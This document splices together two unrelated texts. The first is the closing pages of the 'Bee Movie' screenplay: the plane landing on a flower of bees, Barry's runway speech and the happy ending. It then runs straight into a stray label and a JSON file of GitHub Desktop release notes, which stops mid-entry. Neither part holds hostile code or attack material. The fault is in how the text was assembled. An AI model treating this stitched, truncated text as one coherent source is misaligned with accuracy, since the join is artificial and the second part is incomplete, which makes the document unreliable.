air. CAMERAMAN You got it! CUT TO: INT. BEE TV CONTROL ROOM An engineer throws a switch. BEE ENGINEER Stand by. We’re going live. The “ON AIR” sign illuminates. CUT TO: INT. VARIOUS SHOTS OF NEW HIVE CITY The news report plays on TV. The pollen jocks are sitting around, playing paddle-ball, Wheel-o, and one of them is spinning his helmet on his finger. Buzzwell is in an office cubicle, playing computer solitaire. Barry’s family and Adam watch from their living room. Bees sitting on the street curb turn around to watch the TV. BARRY Mr. Ditchwater, the way we work may be a mystery to you, because making honey takes a lot of bees doing a lot of small jobs. But let me tell you something about a small job. If you do it really well, it makes a big difference. More than we realized. To us, to everyone. That’s why I want to get bees back to doing what we do best. "Bee Movie" - JS REVISIONS 8/13/07 117. Working together. That’s the bee way. We’re not made of Jello. We get behind a fellow. Black and yellow. CROWD OF BEES Hello! CUT TO: INT. COCKPIT Barry is giving orders to Vanessa. BARRY Left, right, down, hover. VANESSA Hover? BARRY Forget hover. VANESSA You know what? This isn’t so hard. Vanessa pretends to HONK THE HORN. VANESSA (CONT’D) Beep, beep! Beep, beep! A BOLT OF LIGHTNING HITS the plane. The plane takes a sharp dip. VANESSA (CONT’D) Barry, what happened? BARRY (noticing the control panel) Wait a minute. I think we were on autopilot that whole time. VANESSA That may have been helping me. BARRY And now we’re not! VANESSA (V.O.) (folding her arms) Well, then it turns out I cannot fly a plane. "Bee Movie" - JS REVISIONS 8/13/07 118. BARRY (CONT'D) Vanessa struggles with the yoke. CUT TO: EXT. AIRPLANE The airplane goes into a steep dive. CUT TO: SEQ. 4175 - “CRASH LANDING” INT. J-GATE An ALERT SIGN READING: “Hive Alert. We Need:” Then the SIGNAL goes from “Two Bees” “Some Bees” “Every Bee There Is” Lou Loduca gathers the pollen jocks at J-Gate. LOU LODUCA All of you, let’s get behind this fellow. Move it out! The bees follow Lou Loduca, and EXIT J-Gate. CUT TO: INT. AIRPLANE COCKPIT BARRY Our only chance is if I do what I would do, and you copy me with the wings of the plane! VANESSA You don’t have to yell. BARRY I’m not yelling. We happen to be in a lot of trouble here. VANESSA It’s very hard to concentrate with that panicky tone in your voice. BARRY It’s not a tone. I’m panicking! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 119. EXT. JFK AIRPORT ANGLE ON: The bees arriving and massing at the airport. CUT TO: INT. COCKPIT Barry and Vanessa alternately SLAP EACH OTHER IN THE FACE. VANESSA I don’t think I can do this. BARRY Vanessa, pull yourself together. Listen to me, you have got to snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! CUT TO: EXT. AIRPLANE A GIGANTIC SWARM OF BEES flies in to hold the plane up. CUT TO: INT. COCKPIT - CONTINUOUS BARRY You snap out of it! VANESSA You snap out of it! "Bee Movie" - JS REVISIONS 8/13/07 120. BARRY You snap-- VANESSA Hold it! BARRY (about to slap her again) Why? Come on, it’s my turn. VANESSA How is the plane flying? Barry’s antennae ring. BARRY I don’t know. (answering) Hello? CUT TO: EXT. AIRPLANE ANGLE ON: The underside of the plane. The pollen jocks have massed all around the underbelly of the plane, and are holding it up. LOU LODUCA Hey Benson, have you got any flowers for a happy occasion in there? CUT TO: INT. COCKPIT Lou, Buzz, Splitz, and Jackson come up alongside the cockpit. BARRY The pollen jocks! VANESSA They do get behind a fellow. BARRY Black and yellow. LOU LODUCA (over headset) Hello. "Bee Movie" - JS REVISIONS 8/13/07 121. Alright you two, what do you say we drop this tin can on the blacktop? VANESSA What blacktop? Where? I can’t see anything. Can you? BARRY No, nothing. It’s all cloudy. CUT TO: EXT. RUNWAY Adam SHOUTS. ADAM Come on, you’ve got to think bee, Barry. Thinking bee, thinking bee. ANGLE ON: Overhead shot of runway. The bees are in the formation of a flower. In unison they move, causing the flower to FLASH YELLOW AND BLACK. BEES (chanting) Thinking bee, thinking bee. CUT TO: INT. COCKPIT We see through the swirling mist and clouds. A GIANT SHAPE OF A FLOWER is forming in the middle of the runway. BARRY Wait a minute. I think I’m feeling something. VANESSA What? BARRY I don’t know, but it’s strong. And it’s pulling me, like a 27 million year old instinct. Bring the nose of the plane down. "Bee Movie" - JS REVISIONS 8/13/07 122. LOU LODUCA (CONT'D) EXT. RUNWAY All the bees are on the runway chanting “Thinking Bee”. CUT TO: INT. CONTROL TOWER RICK What in the world is on the tarmac? ANGLE ON: Dave OTS onto runway seeing a flower being formed by millions of bees. BUD Get some lights on that! CUT TO: EXT. RUNWAY ANGLE ON: AIRCRAFT LANDING LIGHT SCAFFOLD by the side of the runway, illuminating the bees in their flower formation. INT. COCKPIT BARRY Vanessa, aim for the flower! VANESSA Oh, okay? BARRY Cut the engines! VANESSA Cut the engines? BARRY We’re going in on bee power. Ready boys? LOU LODUCA Affirmative. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 123. INT. AIRPLANE COCKPIT BARRY Good, good, easy now. Land on that flower! Ready boys? Give me full reverse. LOU LODUCA Spin it around! The plane attempts to land on top of an “Aloha Airlines” plane with flowers painted on it. BARRY (V.O) I mean the giant black and yellow pulsating flower made of millions of bees! VANESSA Which flower? BARRY That flower! VANESSA I’m aiming at the flower! The plane goes after a FAT GUY IN A HAWAIIAN SHIRT. BARRY (V.O) That’s a fat guy in a flowered shirt! The other other flower! The big one. He snaps a photo and runs away. BARRY (CONT'D) Full forward. Ready boys? Nose down. Bring your tail up. Rotate around it. VANESSA Oh, this is insane, Barry. BARRY This is the only way I know how to fly. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 124. AIR TRAFFIC CONTROL TOWER BUD Am I koo-koo kachoo, or is this plane flying in an insect-like pattern? CUT TO: EXT. RUNWAY BARRY (V.O) Get your nose in there. Don’t be afraid of it. Smell it. Full reverse! Easy, just drop it. Be a part of it. Aim for the center! Now drop it in. Drop it in, woman! The plane HOVERS and MANEUVERS, landing in the center of the giant flower, like a bee. The FLOWERS from the cargo hold spill out onto the runway. INT. AIPLANE CABIN The passengers are motionless for a beat. PASSENGER Come on already! They hear the “ding ding”, and all jump up to grab their luggage out of the overheads. SEQ. 4225 - “RUNWAY SPEECH” EXT. RUNWAY - CONTINUOUS The INFLATABLE SLIDES pop out the side of the plane. The passengers escape. Barry and Vanessa slide down out of the cockpit. Barry and Vanessa exhale a huge breath. VANESSA Barry, we did it. You taught me how to fly. Vanessa raises her hand up for a high five. "Bee Movie" - JS REVISIONS 8/13/07 125. BARRY Yes. No high five. VANESSA Right. ADAM Barry, it worked. Did you see the giant flower? BARRY What giant flower? Where? Of course I saw the flower! That was genius, man. Genius! ADAM Thank you. BARRY But we’re not done yet. Barry flies up to the wing of the plane, and addresses the bee crowd. BARRY (CONT’D) Listen everyone. This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We’re the only ones who make honey, pollinate flowers, and dress like this. If we’re going to survive as a species, this is our moment. So what do you all say? Are we going to be bees, or just Museum of Natural History key chains? BEES We’re bees! KEYCHAIN BEE Keychain! BARRY Then follow me... Except Keychain. BUZZ Hold on Barry. You’ve earned this. Buzz puts a pollen jock jacket and helmet with Barry’s name on it on Barry. "Bee Movie" - JS REVISIONS 8/13/07 126. BARRY I’m a pollen jock! (looking at the jacket. The sleeves are a little long) And it’s a perfect fit. All I’ve got to do are the sleeves. The Pollen Jocks toss Barry a gun. BARRY (CONT’D) Oh yeah! ANGLE ON: Martin and Janet Benson. JANET BENSON That’s our Barry. All the bees descend upon the flowers on the tarmac, and start collecting pollen. CUT TO: SEQ. 4250 - “RE-POLLINATION” EXT. SKIES - CONTINUOUS The squadron FLIES over the city, REPOLLINATING trees and flowers as they go. Barry breaks off from the group, towards Vanessa’s flower shop. CUT TO: EXT. VANESSA’S FLOWER SHOP - CONTINUOUS Barry REPOLLINATES Vanessa’s flowers. CUT TO: EXT. CENTRAL PARK - CONTINUOUS ANGLE ON: Timmy with a frisbee, as the bees fly by. TIMMY Mom, the bees are back! "Bee Movie" - JS REVISIONS 8/13/07 127. Central Park is completely repollinated by the bees. DISSOLVE TO: INT. HONEX - CONTINUOUS Honex is back to normal and everyone is busily working. ANGLE ON: Adam, putting his Krelman hat on. ADAM If anyone needs to make a call, now’s the time. I’ve got a feeling we’ll be working late tonight! The bees CHEER. CUT TO: SEQ. 4355 EXT: VANESSA’S FLOWER SHOP With a new sign out front. “Vanessa & Barry: Flowers, Honey, Legal Advice” DISSOLVE TO: INT: FLOWER COUNTER Vanessa doing a brisk trade with many customers. CUT TO: INT: FLOWER SHOP - CONTINUOUS Vanessa is selling flowers. In the background, there are SHELVES STOCKED WITH HONEY. VANESSA (O.C.) Don’t forget these. Have a great afternoon. Yes, can I help who’s next? Who’s next? Would you like some honey with that? It is beeapproved. SIGN ON THE BACK ROOM DOOR READS: “Barry Benson: Insects at Law”. "Bee Movie" - JS REVISIONS 8/13/07 128. Camera moves into the back room. ANGLE ON: Barry. ANGLE ON: Barry’s COW CLIENT. COW Milk, cream, cheese...it’s all me. And I don’t see a nickel. BARRY Uh huh? Uh huh? COW (breaking down) Sometimes I just feel like a piece of meat. BARRY I had no idea. VANESSA Barry? I’m sorry, have you got a moment? BARRY Would you excuse me? My mosquito associate here will be able to help you. Mooseblood ENTERS. MOOSEBLOOD Sorry I’m late. COW He’s a lawyer too? MOOSEBLOOD Ma’am, I was already a bloodsucking parasite. All I needed was * a briefcase. * ANGLE ON: Flower Counter. VANESSA (to customer) Have a great afternoon! (to Barry) Barry, I just got this huge tulip order for a wedding, and I can’t get them anywhere. "Bee Movie" - JS REVISIONS 8/13/07 129. BARRY Not a problem, Vannie. Just leave it to me. Vanessa turns back to deal with a customer. VANESSA You’re a life-saver, Barry. (to the next customer) Can I help who’s next? Who’s next? ANGLE ON: Vanessa smiling back at Barry. Barry smiles too, then snaps himself out of it. BARRY (speaks into his antennae) Alright. Scramble jocks, it’s time to fly! VANESSA Thank you, Barry! EXT. FLOWER SHOP - CONTINUOUS ANGLE ON: Ken and Andy walking down the street. KEN (noticing the new sign) Augh! What in the world? It’s that bee again! ANDY (guiding Ken protectively) Let it go, Kenny. KEN That bee is living my life! When will this nightmare end? ANDY Let it all go. They don’t break stride. ANGLE ON: Camera in front of Barry as he flies out the door and up into the sky. Pollen jocks fold in formation behind him as they zoom into the park. BARRY (to Splitz) Beautiful day to fly. "Bee Movie" - JS REVISIONS 8/13/07 130. JACKSON Sure is. BARRY Between you and me, I was dying to get out of that office. FADE OUT: "Bee Movie" - JS REVISIONS 8/13/07 131.
klonnet23 / Helloy Word{ "releases": { "2.0.4": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta1": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta0": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693", "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688", "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.3": [ "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.2": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693" ], "2.0.1": [ "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688" ], "2.0.0": [ "[New] You can now choose to bring your changes with you to a new branch or stash them on the current branch when switching branches - #6107", "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[New] Repositories grouped by owner, and recent repositories listed at top - #6923 #7132", "[New] Suggested next steps now includes suggestion to create a pull request after publishing a branch - #7505", "[Added] .resx syntax highlighting - #7235. Thanks @say25!", "[Added] \"Exit\" menu item now has accelerator and access key - #6507. Thanks @AndreiMaga!", "[Added] Help menu entry to view documentation about keyboard shortcuts - #7184", "[Added] \"Discard all changes\" action under Branch menu - #7394. Thanks @ahuth!", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Fixed] Emoji rendering in app when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Conflicts banners do not hide after aborting operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Unable to switch keyboard layout and retain keyboard focus while using commit form - #6366. Thanks @AndreiMaga!", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Menus disabled by activity in inactive repositories - #6313", "[Fixed] Race condition with Git remote lookup may cause push to incorrect remote - #6986", "[Fixed] Restore GitHub Desktop to main screen if external monitor removed - #7418 #2107. Thanks @say25!", "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] \"Automatically Switch Theme\" on macOS checks theme on launch - #7116. Thanks @say25!", "[Improved] \"Add\" button in repository list should always be visible - #6646", "[Improved] Pull Requests list loads and updates pull requests from GitHub more quickly - #7501 #7163", "[Improved] Indicator hidden in Pull Requests list when there are no open pull requests - #7258", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Alignment of icons in repository list - #7133", "[Improved] Command line interface warning when using \"github open\" with a remote URL - #7452. Thanks @msztech!", "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] Styles for manual resolution button in \"Resolve Conflicts\" dialog - #7302", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Visual progress on \"Remove Repository\" and \"Discard Changes\" dialogs - #7015. Thanks @HashimotoYT!", "[Improved] Menu items now aware of force push state and preference to confirm repository removal - #4976 #7138", "[Removed] Branch and pull request filter text persistence - #7437", "[Removed] \"Discard all changes\" context menu item from Changes list - #7394. Thanks @ahuth!" ], "1.7.1-beta1": [ "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] Show explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Alignment of entries in repository list - #7133" ], "1.7.0-beta9": [ "[Fixed] Add warning when renaming a branch with a stash - #7283", "[Fixed] Restore Desktop to main screen when external monitor removed - #7418 #2107. Thanks @say25!", "[Improved] Performance for bringing uncommitted changes to another branch - #7474" ], "1.7.0-beta8": [ "[Added] Accelerator and access key to \"Exit\" menu item - #6507. Thanks @AndreiMaga!", "[Fixed] Pressing \"Shift\" + \"Alt\" in Commit summary moves input-focus to app menu - #6366. Thanks @AndreiMaga!", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Improved] Command line interface warns with helpful message when given a remote URL - #7452. Thanks @msztech!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] \"Pull Requests\" list reflects pull requests from GitHub more quickly - #7501", "[Removed] Branch and pull request filter text persistence - #7437" ], "1.7.0-beta7": [ "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] \"Stashed changes\" button accessibility improvements - #7274", "[Improved] Performance improvements for bringing changes to another branch - #7471", "[Improved] Performance improvements for detecting conflicts from a restored stash - #7476" ], "1.7.0-beta6": [ "[Fixed] Stash viewer does not disable restore button when changes present - #7409", "[Fixed] Stash viewer does not center \"no content\" text - #7299", "[Fixed] Stash viewer pane width not remembered between sessions - #7416", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Stash not cleaned up when it conflicts with working directory contents - #7383", "[Improved] Branch names remain accurate in dialog when stashing and switching branches - #7402", "[Improved] Moved \"Discard all changes\" to Branch menu to prevent unintentionally discarding all changes - #7394. Thanks @ahuth!", "[Improved] UI responsiveness when using keyboard to choose branch in rebase flow - #7407" ], "1.7.0-beta5": [ "[Fixed] Handle warnings if stash creation encounters file permission issue - #7351", "[Fixed] Add \"View stash entry\" action to suggested next steps - #7353", "[Fixed] Handle and recover from failed rebase flow starts - #7223", "[Fixed] Reverse button order when viewing a stash on macOS - #7273", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Rebase success banner always includes base branch name - #7220", "[Improved] Added explanatory text for \"Restore\" button for stashes - #7303", "[Improved] Ask for confirmation before discarding stash - #7348", "[Improved] Order stashed changes files alphabetically - #7327", "[Improved] Clarify \"Overwrite Stash Confirmation\" dialog text - #7361", "[Improved] Message shown in rebase setup when target branch is already rebased - #7343", "[Improved] Update stashing prompt verbiage - #7393.", "[Improved] Update \"Start Rebase\" dialog verbiage - #7391", "[Improved] Changes list now reflects what will be committed when handling rebase conflicts - #7006" ], "1.7.0-beta4": [ "[Fixed] Manual conflict resolution choice not updated when resolving rebase conflicts - #7255", "[Fixed] Menu items don't display the expected verbiage for force push and removing a repository - #4976 #7138" ], "1.7.0-beta3": [ "[New] Users can choose to bring changes with them to a new branch or stash them on the current branch when switching branches - #6107", "[Added] GitHub Desktop keyboard shortcuts available in Help menu - #7184", "[Added] .resx file extension highlighting support - #7235. Thanks @say25!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Improved] Warn users before rebase if operation will require a force push after rebase complete - #6963", "[Improved] Do not show the number of pull requests when there are no open pull requests - #7258", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Manual Conflicts button styling - #7302", "[Improved] \"Add\" button in repository list should always be visible - #6646" ], "1.7.0-beta2": [ "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Merge/Rebase conflicts banners do not clear when aborting the operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Improved] Pull requests load faster and PR build status updates automatically - #7163" ], "1.7.0-beta1": [ "[New] Recently opened repositories appear at the top of the repository list - #7132", "[Fixed] Error when selecting diff text while diff is updating - #7131", "[Fixed] Crash when unable to create log file on disk - #7096", "[Fixed] Race condition with remote lookup could cause push to go to incorrect remote - #6986", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Prevent menus from being disabled by activity in inactive repositories - #6313", "[Fixed] \"Automatically Switch Theme\" on macOS does not check theme on launch - #7116. Thanks @say25!", "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Emoji rendering in app broken when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Improved] Visual feedback on \"Remove Repository\" and \"Discard Changes\" dialogs to show progress - #7015. Thanks @HashimotoYT!", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027" ], "1.6.6": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.6-test1": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.5": [ "[Fixed] Publish Repository does not let you publish to an organization on your Enterprise account - #7052" ], "1.6.5-beta2": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.5-beta1": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.4": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta1": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta0": [ "[Removed] Option to discard when files would be overwritten by a checkout - #7016" ], "1.6.3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Fixed] Context menu does not open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Fixed] Display question mark in image when no commit selected in dark theme - #6915. Thanks @say25!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and update illustration in dark theme when no local changes exist - #6894", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Moving mouse pointer outside visible diff while selecting a range of lines in a partial commit now automatically scrolls the diff - #658", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!", "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!" ], "1.6.3-beta4": [ "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!" ], "1.6.3-beta3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Added] Provide option to discard when files would be overwritten by a checkout - #6755. Thanks @mathieudutour!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and fix illustration to work in the dark theme when there are no local changes - #6894", "[Fixed] Display question mark image when there is no commit selected in dark theme - #6915. Thanks @say25!", "[Improved] Group and filter repositories by owner - #6923", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451" ], "1.6.3-beta2": [ "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Improved] Moving the mouse pointer outside of the visible diff while selecting a range of lines in a partial commit will now automatically scroll the diff - #658" ], "1.6.3-beta1": [ "[New] Branches that have been merged and deleted on GitHub.com will now be pruned after two weeks - #750", "[Fixed] Context menu doesn't open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Upgrade to Electron v3 - #6391" ], "1.6.2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349", "[Improved] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Updated verbiage for ignoring the files - #6689. Thanks @PaulViola!" ], "1.6.2-beta3": [ "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349" ], "1.6.2-beta2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758" ], "1.6.2-beta1": [ "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Menu state updating to address race condition - #6643", "[Improved] Updated verbiage when clicking on changed files to make it more explicit what will occur when you ignore the file(s) - #6689. Thanks @PaulViola!" ], "1.6.2-beta0": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.1": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.0": [ "[New] Help users add their first repo during onboarding - #6474", "[New] \"No local changes\" view helpfully suggests next actions for you to take - #6445", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Only execute menu action a single time upon hitting Enter - #5344", "[Fixed] Show autocompletion of GitHub handles and issues properly in commit description field - #6459", "[Improved] Repository list when no repositories found - #5566 #6474", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Don't show merge success banner when attempted merge doesn't complete - #6282", "[Improved] Capitalize menu items appropriately on macOS - #6469" ], "1.6.0-beta3": [ "[Fixed] Autocomplete selection does not overflow text area - #6459", "[Fixed] No local changes views incorrectly rendering ampersands - #6596", "[Improved] Capitalization of menu items on macOS - #6469" ], "1.6.0-beta2": [ "[New] \"No local changes\" view makes it easy to find and accomplish common actions - #6445", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Merge success banner no longer shown when attempted merge doesn't complete - #6282" ], "1.6.0-beta1": [ "[New] Help users add their first repo during onboarding - #6474", "[Added] Include ability for users to add new repositories when there are none available - #5566 #6474", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Enter when using keyboard to navigate app menu executed menu action twice - #5344", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!" ], "1.5.2-beta0": [], "1.5.1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix \"Open In External Editor\" for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the \"Clone a Repository\" dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta6": [ "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta5": [ "[Improved] Commit conflicted files warning - #6381", "[Improved] Dismissable merge conflict dialog and associated banner - 